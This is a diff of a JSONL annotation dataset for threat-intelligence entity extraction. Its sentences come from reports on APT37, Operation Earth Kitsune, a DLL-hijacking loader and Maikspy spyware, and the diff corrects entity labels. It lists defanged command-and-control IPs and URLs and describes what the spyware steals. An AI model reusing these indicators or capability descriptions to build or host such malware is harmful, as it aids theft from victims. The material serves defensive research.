 {"id":14028,"text":"The image (Figure 3) taken from an analysis of Freenki shows that the same logic applies when the resource is compiled into the binary.","entities":[{"id":47194,"label":"malware","start_offset":47,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":14029,"text":"     Figure 3. Freenki embedded resource     ","entities":[{"id":47195,"label":"malware","start_offset":15,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":14030,"text":"We assume there are multiple developers within APT37, and not all of them follow the same practices.","entities":[{"id":47196,"label":"APT","start_offset":47,"end_offset":52}],"relations":[],"Comments":[]}
+{"id":14030,"text":"We assume there are multiple developers within APT37, and not all of them follow the same practices.","entities":[{"id":47196,"label":"threat-actor","start_offset":47,"end_offset":52}],"relations":[],"Comments":[]}
 {"id":14031,"text":"As such, not all samples may have the embedded resource that leaks the same OS language.","entities":[],"relations":[],"Comments":[]}
 {"id":14032,"text":"However, this commonality is just the first of many that lead us to believe the team attributed to the Freenki malware is the same team behind Operation Earth Kitsune.2 Leaked assert path and external blog references Sometimes, the malware authors know that releasing symbol information is dangerous from an attribution point of view since it can reveal information about the working environment.","entities":[{"id":47198,"label":"campaign","start_offset":143,"end_offset":166},{"id":47197,"label":"malware","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":14033,"text":"That information often gets stripped from binaries.","entities":[],"relations":[],"Comments":[]}
@@ -14048,7 +9365,7 @@
 {"id":14048,"text":"TTPs Correlation","entities":[],"relations":[],"Comments":[]}
 {"id":14049,"text":"In our previous detailed analysis of Operation Earth Kitsune, one of the delivery architecture for the espionage backdoors is designed as shown in Figure 6.      Figure 6.","entities":[{"id":47202,"label":"campaign","start_offset":37,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":14050,"text":"Delivery architecture     ","entities":[],"relations":[],"Comments":[]}
-{"id":14051,"text":"While this mechanism may sound quite common in other campaigns, what is interesting is the details they have in common with previous campaigns attributed to APT37.","entities":[{"id":47203,"label":"APT","start_offset":157,"end_offset":162}],"relations":[],"Comments":[]}
+{"id":14051,"text":"While this mechanism may sound quite common in other campaigns, what is interesting is the details they have in common with previous campaigns attributed to APT37.","entities":[{"id":47203,"label":"threat-actor","start_offset":157,"end_offset":162}],"relations":[],"Comments":[]}
 {"id":14052,"text":"In 2017, Palo Alto’s Unit 42 detailed their findings around the Freenki malware.","entities":[{"id":47204,"label":"malware","start_offset":64,"end_offset":72},{"id":47205,"label":"identity","start_offset":20,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":14053,"text":"Even though this analysis was three years before Operation Earth Kitsune, the attackers appear to have reused the same TTPs for delivering the malware.","entities":[{"id":47206,"label":"campaign","start_offset":49,"end_offset":72}],"relations":[],"Comments":[]}
 {"id":14054,"text":"Figure 7 shows delivery PowerShell script sections for both campaigns.","entities":[{"id":43521,"label":"tools","start_offset":24,"end_offset":34}],"relations":[],"Comments":[]}
@@ -14059,7 +9376,6 @@
 {"id":14059,"text":"It appears the attacker is willing to implement multiple mechanisms for infecting the victim machine once it is compromised.","entities":[],"relations":[],"Comments":[]}
 {"id":14060,"text":"Both use different samples for the multiple malware downloaded.","entities":[],"relations":[],"Comments":[]}
 {"id":14061,"text":"Both use JPG as a delivering extension.","entities":[],"relations":[],"Comments":[]}
-{"id":14062,"text":"Multiple samples are delivered at the same time.","entities":[{"id":43532,"label":"location","start_offset":17,"end_offset":20},{"id":43533,"label":"location","start_offset":38,"end_offset":42},{"id":43534,"label":"location","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":14063,"text":"In both cases, at least one sample received command line arguments.","entities":[],"relations":[],"Comments":[]}
 {"id":14064,"text":" Another surprising similarity in the TTPs related to both campaigns is the path pointing to “udel_ok.ipp,”  as shown in Figure 7.","entities":[{"id":47241,"label":"FILEPATH","start_offset":93,"end_offset":107}],"relations":[],"Comments":[]}
 {"id":14065,"text":"This is a JavaScript file that executes with wscript.exe.","entities":[],"relations":[],"Comments":[]}
@@ -14075,7 +9391,7 @@
 {"id":14075,"text":"However, our analysis shows further similarities that imply correlation.","entities":[],"relations":[],"Comments":[]}
 {"id":14076,"text":"GNUBoard compromised web sites","entities":[{"id":48007,"label":"SOFTWARE","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
 {"id":14077,"text":"In the blog describing Operation Earth Kitsune, we noted sites using the GNUBoard Content Management System (CMS) had been compromised and were used to host malware.","entities":[{"id":48008,"label":"campaign","start_offset":23,"end_offset":46},{"id":48009,"label":"SOFTWARE","start_offset":73,"end_offset":90},{"id":48010,"label":"malware","start_offset":157,"end_offset":164}],"relations":[{"id":370,"from_id":48010,"to_id":48009,"type":"compromises"},{"id":376,"from_id":48009,"to_id":48010,"type":"hosts"}],"Comments":[]}
-{"id":14078,"text":"The malware campaigns previously attributed to APT37 also extensively used the exploitation of web sites hosted with GNUBoard CMS.","entities":[{"id":48157,"label":"SOFTWARE","start_offset":117,"end_offset":126},{"id":43567,"label":"APT","start_offset":47,"end_offset":52}],"relations":[],"Comments":[]}
+{"id":14078,"text":"The malware campaigns previously attributed to APT37 also extensively used the exploitation of web sites hosted with GNUBoard CMS.","entities":[{"id":48157,"label":"SOFTWARE","start_offset":117,"end_offset":126},{"id":43567,"label":"threat-actor","start_offset":47,"end_offset":52}],"relations":[],"Comments":[]}
 {"id":14079,"text":"While analyzing multiple samples, we found indicators of this strategy across the various campaigns.","entities":[],"relations":[],"Comments":[]}
 {"id":14080,"text":"Figure 10 shows an example attributed to APT37 and Operation Earth Kitsune as a comparison.","entities":[{"id":48158,"label":"threat-actor","start_offset":41,"end_offset":47},{"id":48159,"label":"campaign","start_offset":51,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":14081,"text":"The SLUB campaign also exploited and used GNUBoard websites as part of the infrastructure.","entities":[{"id":48160,"label":"campaign","start_offset":4,"end_offset":17},{"id":48161,"label":"SOFTWARE","start_offset":42,"end_offset":51}],"relations":[{"id":389,"from_id":48160,"to_id":48161,"type":"exploits"}],"Comments":[]}
@@ -14120,7 +9436,7 @@
 {"id":14120,"text":"     Figure 13.","entities":[],"relations":[],"Comments":[]}
 {"id":14121,"text":"Compile Time APT73 and Kitsune","entities":[{"id":48185,"label":"threat-actor","start_offset":13,"end_offset":18},{"id":48186,"label":"campaign","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":14122,"text":"    During the capture of samples for Operation Earth Kitsune, we managed to dump information about the Mattermost server using its API and the token used by the malware itself.","entities":[{"id":48187,"label":"campaign","start_offset":38,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":14123,"text":"Mattermost was being used as a C2 channel for the malware.","entities":[{"id":48188,"label":"SOFTWARE","start_offset":0,"end_offset":11},{"id":48189,"label":"malware","start_offset":50,"end_offset":57}],"relations":[{"id":390,"from_id":48189,"to_id":48188,"type":"exploits"}],"Comments":[]}
+{"id":14123,"text":"Mattermost was being used as a C2 channel for the malware.","entities":[{"id":48188,"label":"SOFTWARE","start_offset":0,"end_offset":11},{"id":48189,"label":"malware","start_offset":50,"end_offset":57}],"relations":[{"id":390,"from_id":48189,"to_id":48188,"type":"uses"}],"Comments":[]}
 {"id":14124,"text":"Part of the dumped information contained the action of the user with administration roles on the system.","entities":[],"relations":[],"Comments":[]}
 {"id":14125,"text":"That user was doing manual activities the majority of the time.","entities":[],"relations":[],"Comments":[]}
 {"id":14126,"text":"At the same time, we were able to locate the Mattermost server hosted in Greece, and that gave us the current time zone of the Mattermost server.","entities":[{"id":48192,"label":"location","start_offset":73,"end_offset":79},{"id":48191,"label":"Infrastucture","start_offset":127,"end_offset":144},{"id":48193,"label":"Infrastucture","start_offset":45,"end_offset":62}],"relations":[{"id":392,"from_id":48191,"to_id":48192,"type":"located-at"},{"id":393,"from_id":48193,"to_id":48192,"type":"located-at"}],"Comments":[]}
@@ -14130,13 +9446,13 @@
 {"id":14130,"text":"For example, an action for the SYSTEM_ADMIN could be to create a user, add a user to a channel, etc.","entities":[],"relations":[],"Comments":[]}
 {"id":14131,"text":"The “X” axis represents the hour of the day (in 24 hours).","entities":[],"relations":[],"Comments":[]}
 {"id":14132,"text":"No months are plotted, so this figure is like compressing all the activity across the full 2020-year in one day just to show the active hours in a day.","entities":[{"id":48195,"label":"TIME","start_offset":91,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":14133,"text":"All the plots are located in UTC+9.","entities":[{"id":48196,"label":"location","start_offset":29,"end_offset":34}],"relations":[],"Comments":[]}
+{"id":14133,"text":"All the plots are located in UTC+9.","entities":[{"id":48196,"label":"TIME","start_offset":29,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":14134,"text":"     Figure 14.","entities":[],"relations":[],"Comments":[]}
 {"id":14135,"text":"Mattermost server activity.","entities":[{"id":48197,"label":"Infrastucture","start_offset":0,"end_offset":17}],"relations":[],"Comments":[]}
 {"id":14136,"text":"    Figure 15 shows that User_3 and User_4 have like random counts.","entities":[],"relations":[],"Comments":[]}
 {"id":14137,"text":"This is because those accounts are actually the ones the malware used during the infection logging activities to the Mattermost server.","entities":[{"id":48198,"label":"Infrastucture","start_offset":117,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":14138,"text":"However, the SYSTEM_ADMIN account has a different pattern because the actions are mostly due to manual administration activities.","entities":[],"relations":[],"Comments":[]}
-{"id":14139,"text":"Unsurprisingly, the SYSTEM_ADMIN hours perfectly line up with the daily working hours at UTC+9.","entities":[{"id":48200,"label":"location","start_offset":89,"end_offset":94}],"relations":[],"Comments":[]}
+{"id":14139,"text":"Unsurprisingly, the SYSTEM_ADMIN hours perfectly line up with the daily working hours at UTC+9.","entities":[{"id":48200,"label":"TIME","start_offset":89,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":14140,"text":"Conclusions","entities":[],"relations":[],"Comments":[]}
 {"id":14141,"text":"While no attribution is perfect, there are striking similarities between the malware attributed to APT37 and Operation Earth Kitsune.","entities":[{"id":48201,"label":"threat-actor","start_offset":99,"end_offset":104},{"id":48202,"label":"campaign","start_offset":109,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":14142,"text":"Little can be gleaned from each individual piece, but when viewed as a whole, the group behind Operation Earth Kitsune is likely the same one behind the Freenki malware and other malware campaigns attributed to APT37.","entities":[{"id":48204,"label":"threat-actor","start_offset":211,"end_offset":216},{"id":48205,"label":"malware","start_offset":153,"end_offset":161},{"id":48203,"label":"campaign","start_offset":95,"end_offset":118}],"relations":[],"Comments":[]}
@@ -14178,10 +9494,8 @@
 {"id":14178,"text":"To date, the scale of Russian state-sponsored and proxy cyber-attacks has not been as expected.","entities":[],"relations":[],"Comments":[]}
 {"id":14179,"text":"Yes, we’ve seen continuous DDoS attacks, a campaign of web defacements and various iterations of wiper malware.","entities":[{"id":48221,"label":"attack-pattern","start_offset":27,"end_offset":32},{"id":48222,"label":"malware","start_offset":97,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":14180,"text":"But these efforts have been mainly targeted at Ukrainian organizations.","entities":[],"relations":[],"Comments":[]}
-{"id":14181,"text":"It is possible that Russia has yet to fully engage its offensive capability, or that Ukrainian counterattacks and disruptions have hit home.","entities":[],"relations":[],"Comments":[]}
 {"id":14182,"text":"Reports suggest tens of thousands of cybersecurity professionals there have enlisted as volunteers to help the country’s efforts.","entities":[],"relations":[],"Comments":[]}
 {"id":14183,"text":"Hacking collective Anonymous has also claimed responsibility for multiple hacktivist attacks in Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":14184,"text":"As kinetic attacks in the region escalate, it’s likely that cyber-operations will do the same, although these should be confined to Ukraine.","entities":[{"id":48223,"label":"location","start_offset":132,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":14185,"text":"However, following the Presidential EO this week, we could well see Russian APT groups or their proxies expand their targeting of U.S. critical infrastructure.","entities":[],"relations":[],"Comments":[]}
 {"id":14186,"text":"Oil and gas, banking and defense sectors are most likely to top of the list of targets.","entities":[],"relations":[],"Comments":[]}
 {"id":14187,"text":"What we can expect If this kind of escalation were to take place, it may begin through deployment of known destructive malware like IsaacWiper, HermeticWiper and WhisperKill onto already compromised targets or systems known to be vulnerable.","entities":[{"id":48224,"label":"malware","start_offset":132,"end_offset":142},{"id":48226,"label":"malware","start_offset":162,"end_offset":174},{"id":48225,"label":"malware","start_offset":144,"end_offset":158}],"relations":[],"Comments":[]}
@@ -14214,7 +9528,7 @@
 {"id":14214,"text":"It copies itself on %WINDIR%\\system32\\wbem\\ and replaces the original DLL.","entities":[{"id":48240,"label":"FILEPATH","start_offset":20,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":14215,"text":"It leverages the WMI performance adapter service (wmiAPSrv), a legitimate file in Windows that collects information related to system performance, to import the loader via services.exe.","entities":[{"id":48242,"label":"FILEPATH","start_offset":172,"end_offset":184},{"id":48243,"label":"SOFTWARE","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":14216,"text":"The system also imports all related DLL files and includes the payload “loadoerf.ini”.","entities":[{"id":48241,"label":"FILEPATH","start_offset":70,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":14217,"text":"The infection chain includes an additional (albeit empty) function imported from loadoerf.ini, gzwrite64, which works as a fake Application Program Interface (API) that serves as the payload’s entry point.","entities":[{"id":43995,"label":"location","start_offset":199,"end_offset":204}],"relations":[],"Comments":[]}
+{"id":14217,"text":"The infection chain includes an additional (albeit empty) function imported from loadoerf.ini, gzwrite64, which works as a fake Application Program Interface (API) that serves as the payload’s entry point.","entities":[],"relations":[],"Comments":[]}
 {"id":14218,"text":"Although gzwrite64 is imported by loadperf.dll, the payload’s main function is actually located in the DLLMain of “loadoerf.ini”.","entities":[{"id":48244,"label":"FILEPATH","start_offset":115,"end_offset":127},{"id":48246,"label":"FILEPATH","start_offset":34,"end_offset":46},{"id":48247,"label":"SOFTWARE","start_offset":9,"end_offset":19}],"relations":[],"Comments":[]}
 {"id":14219,"text":"Figure 1: Extra section .idata added to the original loadperf.dll  Figure 2: Extra imported function gzwrite64","entities":[{"id":48248,"label":"SOFTWARE","start_offset":101,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":14220,"text":"The payload is a file named loadoerf.ini that contains decryption, run, and code injection functions.","entities":[{"id":48249,"label":"FILEPATH","start_offset":28,"end_offset":40},{"id":48250,"label":"attack-pattern","start_offset":76,"end_offset":90}],"relations":[{"id":394,"from_id":48249,"to_id":48250,"type":"uses"}],"Comments":[]}
@@ -14342,39 +9656,39 @@
 {"id":14342,"text":"It disguised itself as the adult game named after an adult film actress.","entities":[],"relations":[],"Comments":[]}
 {"id":14343,"text":"It has the ability to update itself from hxxp:\/\/fakeomegle[.]com\/, and steal .jpg, .jpeg, .png, .txt, .wav, .html, .doc, .docx and .rtf files located in the Desktop, Picture, Documents, and Downloads folders, as well as information about the machine’s Internet Explorer, Chrome, Firefox or default browsers, OS, and network configuration.","entities":[{"id":48583,"label":"SOFTWARE","start_offset":271,"end_offset":277},{"id":48584,"label":"SOFTWARE","start_offset":279,"end_offset":287},{"id":48579,"label":"URL","start_offset":41,"end_offset":65},{"id":48582,"label":"SOFTWARE","start_offset":252,"end_offset":269}],"relations":[],"Comments":[]}
 {"id":14344,"text":"The spyware connects to 107[.]180[.]46[.]243.","entities":[{"id":44322,"label":"IPV4","start_offset":24,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":14345,"text":"Meanwhile, the first Android variant of this spyware family appeared in January 2017.","entities":[],"relations":[],"Comments":[]}
-{"id":14346,"text":"It was also under the guise of the previously mentioned adult game and still connects to the aforementioned C&C server.","entities":[{"id":44325,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":14347,"text":"It was capable of recording phone calls and stealing information such as the device’s location, SMS, contacts, WhatsApp database, and record sound around the affected device.","entities":[{"id":44326,"label":"location","start_offset":40,"end_offset":43},{"id":44328,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":14348,"text":"The next variant appeared quickly, and it added the following abilities to its routines: Steal information about the device’s clipboard, phone number, installed app list, and accounts.","entities":[{"id":44329,"label":"location","start_offset":35,"end_offset":38},{"id":44330,"label":"location","start_offset":165,"end_offset":169},{"id":44331,"label":"location","start_offset":171,"end_offset":174}],"relations":[],"Comments":[]}
-{"id":14349,"text":"Meanwhile, the ability to steal the WhatsApp database was removed.","entities":[],"relations":[],"Comments":[]}
+{"id":14345,"text":"Meanwhile, the first Android variant of this spyware family appeared in January 2017.","entities":[{"id":51799,"label":"SOFTWARE","start_offset":21,"end_offset":28},{"id":51800,"label":"TIME","start_offset":72,"end_offset":84}],"relations":[],"Comments":[]}
+{"id":14346,"text":"It was also under the guise of the previously mentioned adult game and still connects to the aforementioned C&C server.","entities":[],"relations":[],"Comments":[]}
+{"id":14347,"text":"It was capable of recording phone calls and stealing information such as the device’s location, SMS, contacts, WhatsApp database, and record sound around the affected device.","entities":[{"id":51798,"label":"SOFTWARE","start_offset":111,"end_offset":119}],"relations":[],"Comments":[]}
+{"id":14348,"text":"The next variant appeared quickly, and it added the following abilities to its routines: Steal information about the device’s clipboard, phone number, installed app list, and accounts.","entities":[],"relations":[],"Comments":[]}
+{"id":14349,"text":"Meanwhile, the ability to steal the WhatsApp database was removed.","entities":[{"id":51797,"label":"SOFTWARE","start_offset":36,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":14350,"text":"It also changed its command format.","entities":[],"relations":[],"Comments":[]}
-{"id":14351,"text":"In March 2017, another new variant appeared with the ability to steal photos when users take them using the camera.","entities":[{"id":44334,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":14352,"text":"The code structure and package name also changed, as well as its C&C address: 198[.]12[.]155[.]84.","entities":[{"id":44335,"label":"location","start_offset":9,"end_offset":18},{"id":44336,"label":"location","start_offset":19,"end_offset":22},{"id":44337,"label":"IPV4","start_offset":78,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":14353,"text":"It was in April 2017 when the last Windows variant of Maikspy appeared with the following changes: The C&C server was changed to 198[.]12[.]155[.]84, password theft is added, as well as the theft of .doc, .docx, and .rtf files.","entities":[{"id":44340,"label":"IPV4","start_offset":129,"end_offset":148},{"id":44341,"label":"location","start_offset":212,"end_offset":215}],"relations":[],"Comments":[]}
-{"id":14354,"text":"Between June and December 2017, the Android variant had the following alterations: C&C server was changed to 192[.]169[.]217[.]55, the ability to record phone calls was removed, and the C&C server was again changed to 198[.]12[.]149[.]13.","entities":[{"id":44343,"label":"IPV4","start_offset":109,"end_offset":129},{"id":44344,"label":"location","start_offset":178,"end_offset":181},{"id":44345,"label":"IPV4","start_offset":218,"end_offset":237}],"relations":[],"Comments":[]}
-{"id":14355,"text":"In January 2018, the Android variant’s app label changed to Virtual Girlfriend.","entities":[],"relations":[],"Comments":[]}
-{"id":14356,"text":"Two months later, the C&C server was changed to hxxp:\/\/miakhalifagame[.]com.","entities":[],"relations":[],"Comments":[]}
-{"id":14357,"text":"The attackers were found using the HTTP protocol to transfer data.","entities":[{"id":44348,"label":"location","start_offset":52,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":14358,"text":"The ability to steal location and pictures was removed from its routine.","entities":[{"id":44349,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":14359,"text":"Relationship between variants and C&C servers used by Maikspy","entities":[{"id":44350,"label":"location","start_offset":13,"end_offset":20},{"id":44351,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":14360,"text":"The attackers behind Maikspy have changed domains and IP addresses over the years, but all were found hosted in a publicly traded internet domain registrar and web hosting company in the U.S.","entities":[{"id":44354,"label":"location","start_offset":50,"end_offset":53},{"id":44356,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]}
-{"id":14361,"text":"The following figures show how Maikspy variants from 2016 to 2018 are connected to C&C servers (found in this appendix, along with the Android and Windows hashes) used by the attackers:  Figure 20.","entities":[{"id":44360,"label":"location","start_offset":66,"end_offset":69},{"id":44361,"label":"location","start_offset":120,"end_offset":125},{"id":44362,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":14362,"text":"The connection of Maikspy variants to 198[.]12[.]155[.]84, hxxp:\/\/roundyearfun[.]org\/, and 192[.]169[.]217[.]55.","entities":[{"id":44365,"label":"IPV4","start_offset":38,"end_offset":57},{"id":44366,"label":"location","start_offset":87,"end_offset":90},{"id":44367,"label":"IPV4","start_offset":91,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":14363,"text":"Note: The green nodes represent Android samples, while the blue nodes represent Windows samples.","entities":[{"id":44368,"label":"location","start_offset":10,"end_offset":15},{"id":44370,"label":"location","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":14364,"text":"Figure 21. Connection of Maikspy variants to 107[.]180[.]46[.]243 and hxxp:\/\/fakeomegle[.]com  Figure 22. Connection of Maikspy variants to 198[.]12[.]149[.]13and hxxp:\/\/miakhalifagame[.]com\/","entities":[{"id":44372,"label":"IPV4","start_offset":45,"end_offset":65},{"id":44373,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
+{"id":14351,"text":"In March 2017, another new variant appeared with the ability to steal photos when users take them using the camera.","entities":[{"id":51796,"label":"TIME","start_offset":3,"end_offset":13}],"relations":[],"Comments":[]}
+{"id":14352,"text":"The code structure and package name also changed, as well as its C&C address: 198[.]12[.]155[.]84.","entities":[{"id":44337,"label":"IPV4","start_offset":78,"end_offset":97}],"relations":[],"Comments":[]}
+{"id":14353,"text":"It was in April 2017 when the last Windows variant of Maikspy appeared with the following changes: The C&C server was changed to 198[.]12[.]155[.]84, password theft is added, as well as the theft of .doc, .docx, and .rtf files.","entities":[{"id":51794,"label":"TIME","start_offset":10,"end_offset":20},{"id":51795,"label":"malware","start_offset":54,"end_offset":61},{"id":44340,"label":"IPV4","start_offset":129,"end_offset":148}],"relations":[],"Comments":[]}
+{"id":14354,"text":"Between June and December 2017, the Android variant had the following alterations: C&C server was changed to 192[.]169[.]217[.]55, the ability to record phone calls was removed, and the C&C server was again changed to 198[.]12[.]149[.]13.","entities":[{"id":51793,"label":"SOFTWARE","start_offset":36,"end_offset":43},{"id":51792,"label":"TIME","start_offset":17,"end_offset":30},{"id":51791,"label":"TIME","start_offset":8,"end_offset":12},{"id":44343,"label":"IPV4","start_offset":109,"end_offset":129},{"id":44345,"label":"IPV4","start_offset":218,"end_offset":237}],"relations":[],"Comments":[]}
+{"id":14355,"text":"In January 2018, the Android variant’s app label changed to Virtual Girlfriend.","entities":[{"id":51790,"label":"TIME","start_offset":3,"end_offset":15}],"relations":[],"Comments":[]}
+{"id":14356,"text":"Two months later, the C&C server was changed to hxxp:\/\/miakhalifagame[.]com.","entities":[{"id":51789,"label":"URL","start_offset":48,"end_offset":75}],"relations":[],"Comments":[]}
+{"id":14357,"text":"The attackers were found using the HTTP protocol to transfer data.","entities":[],"relations":[],"Comments":[]}
+{"id":14358,"text":"The ability to steal location and pictures was removed from its routine.","entities":[],"relations":[],"Comments":[]}
+{"id":14359,"text":"Relationship between variants and C&C servers used by Maikspy","entities":[{"id":51788,"label":"malware","start_offset":54,"end_offset":61}],"relations":[],"Comments":[]}
+{"id":14360,"text":"The attackers behind Maikspy have changed domains and IP addresses over the years, but all were found hosted in a publicly traded internet domain registrar and web hosting company in the U.S.","entities":[{"id":51786,"label":"malware","start_offset":21,"end_offset":28},{"id":51787,"label":"location","start_offset":187,"end_offset":191}],"relations":[],"Comments":[]}
+{"id":14361,"text":"The following figures show how Maikspy variants from 2016 to 2018 are connected to C&C servers (found in this appendix, along with the Android and Windows hashes) used by the attackers:  Figure 20.","entities":[{"id":51783,"label":"malware","start_offset":31,"end_offset":38},{"id":51784,"label":"SOFTWARE","start_offset":135,"end_offset":142},{"id":51785,"label":"SOFTWARE","start_offset":147,"end_offset":154}],"relations":[],"Comments":[]}
+{"id":14362,"text":"The connection of Maikspy variants to 198[.]12[.]155[.]84, hxxp:\/\/roundyearfun[.]org\/, and 192[.]169[.]217[.]55.","entities":[{"id":51782,"label":"URL","start_offset":59,"end_offset":85},{"id":44365,"label":"IPV4","start_offset":38,"end_offset":57},{"id":44367,"label":"IPV4","start_offset":91,"end_offset":111}],"relations":[],"Comments":[]}
+{"id":14363,"text":"Note: The green nodes represent Android samples, while the blue nodes represent Windows samples.","entities":[],"relations":[],"Comments":[]}
+{"id":14364,"text":"Figure 21. Connection of Maikspy variants to 107[.]180[.]46[.]243 and hxxp:\/\/fakeomegle[.]com  Figure 22. Connection of Maikspy variants to 198[.]12[.]149[.]13and hxxp:\/\/miakhalifagame[.]com\/","entities":[{"id":51779,"label":"URL","start_offset":163,"end_offset":191},{"id":51777,"label":"URL","start_offset":70,"end_offset":93},{"id":51781,"label":"malware","start_offset":120,"end_offset":127},{"id":51778,"label":"IPV4","start_offset":140,"end_offset":159},{"id":51780,"label":"malware","start_offset":25,"end_offset":32},{"id":44372,"label":"IPV4","start_offset":45,"end_offset":65}],"relations":[{"id":1161,"from_id":51780,"to_id":44372,"type":"communicates-with"},{"id":1162,"from_id":51780,"to_id":51777,"type":"communicates-with"},{"id":1163,"from_id":51781,"to_id":51778,"type":"communicates-with"},{"id":1164,"from_id":51781,"to_id":51779,"type":"communicates-with"}],"Comments":[]}
 {"id":14365,"text":"Countermeasures","entities":[],"relations":[],"Comments":[]}
-{"id":14366,"text":"Downloading only from legitimate app stores like Google Play can prevent Maikspy from compromising computers and mobile devices.","entities":[{"id":44375,"label":"location","start_offset":12,"end_offset":16},{"id":44376,"label":"location","start_offset":61,"end_offset":64},{"id":44377,"label":"location","start_offset":109,"end_offset":112},{"id":44378,"label":"location","start_offset":113,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":14367,"text":"It is also important to be aware of what apps are allowed to access, and to understand the risks before accepting any terms or granting certain permissions to apps.","entities":[{"id":44379,"label":"location","start_offset":46,"end_offset":49},{"id":44380,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":14368,"text":"Trend Micro’s Mobile App Reputation Service (MARS) already covers Android and iOS threats using leading sandbox and machine learning technology.","entities":[{"id":44382,"label":"location","start_offset":14,"end_offset":20},{"id":44383,"label":"location","start_offset":45,"end_offset":49},{"id":44384,"label":"location","start_offset":74,"end_offset":77},{"id":44385,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":14369,"text":"It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.","entities":[{"id":44386,"label":"location","start_offset":3,"end_offset":6},{"id":44388,"label":"location","start_offset":47,"end_offset":50},{"id":44389,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":14370,"text":"End users and enterprises can also benefit from multilayered mobile security solutions such as Trend Micro™ Mobile Security for Android™ which is also available on Google Play.","entities":[{"id":44390,"label":"location","start_offset":10,"end_offset":13},{"id":44391,"label":"location","start_offset":26,"end_offset":29},{"id":44392,"label":"location","start_offset":61,"end_offset":67},{"id":44393,"label":"location","start_offset":68,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":14371,"text":"For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.","entities":[{"id":44397,"label":"location","start_offset":32,"end_offset":38},{"id":44398,"label":"location","start_offset":39,"end_offset":47},{"id":44399,"label":"location","start_offset":52,"end_offset":62},{"id":44400,"label":"location","start_offset":91,"end_offset":94},{"id":44401,"label":"location","start_offset":124,"end_offset":134},{"id":44402,"label":"location","start_offset":136,"end_offset":139},{"id":44403,"label":"malware","start_offset":214,"end_offset":222},{"id":44404,"label":"location","start_offset":301,"end_offset":304},{"id":44405,"label":"location","start_offset":322,"end_offset":325}],"relations":[],"Comments":[]}
-{"id":14372,"text":"The Trend Micro™ Deep Discovery™ threat protection platform enables companies to detect, analyze, and respond to modern threats such as sophisticated malware, targeted attacks, and APTs.","entities":[{"id":44406,"label":"location","start_offset":10,"end_offset":15},{"id":44407,"label":"location","start_offset":40,"end_offset":50},{"id":44408,"label":"location","start_offset":98,"end_offset":101},{"id":44409,"label":"location","start_offset":177,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":14373,"text":"Trend Micro™ Smart Protection for Endpoints with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint—the broadest possible protection against advanced attacks.        Tags  APT & Targeted Attacks | Endpoints | Research | Mobile | Articles, News, Reports | Network","entities":[{"id":44410,"label":"location","start_offset":6,"end_offset":11},{"id":44411,"label":"location","start_offset":19,"end_offset":29},{"id":44413,"label":"location","start_offset":85,"end_offset":93},{"id":44414,"label":"location","start_offset":134,"end_offset":144},{"id":44415,"label":"location","start_offset":169,"end_offset":177},{"id":44416,"label":"location","start_offset":204,"end_offset":207},{"id":44417,"label":"location","start_offset":243,"end_offset":253},{"id":44418,"label":"location","start_offset":293,"end_offset":296},{"id":44419,"label":"location","start_offset":341,"end_offset":347}],"relations":[],"Comments":[]}
-{"id":14374,"text":"Real enterprises are messy places.","entities":[{"id":44420,"label":"location","start_offset":0,"end_offset":4},{"id":44421,"label":"location","start_offset":17,"end_offset":20}],"relations":[],"Comments":[]}
-{"id":14375,"text":"One messy reality is that enterprises don’t manage all their endpoints.","entities":[{"id":44423,"label":"location","start_offset":44,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":14376,"text":"A smart colleague turned me onto using the % of endpoints and servers managed as a prime security metric.","entities":[{"id":44424,"label":"location","start_offset":58,"end_offset":61},{"id":44425,"label":"location","start_offset":89,"end_offset":97}],"relations":[],"Comments":[]}
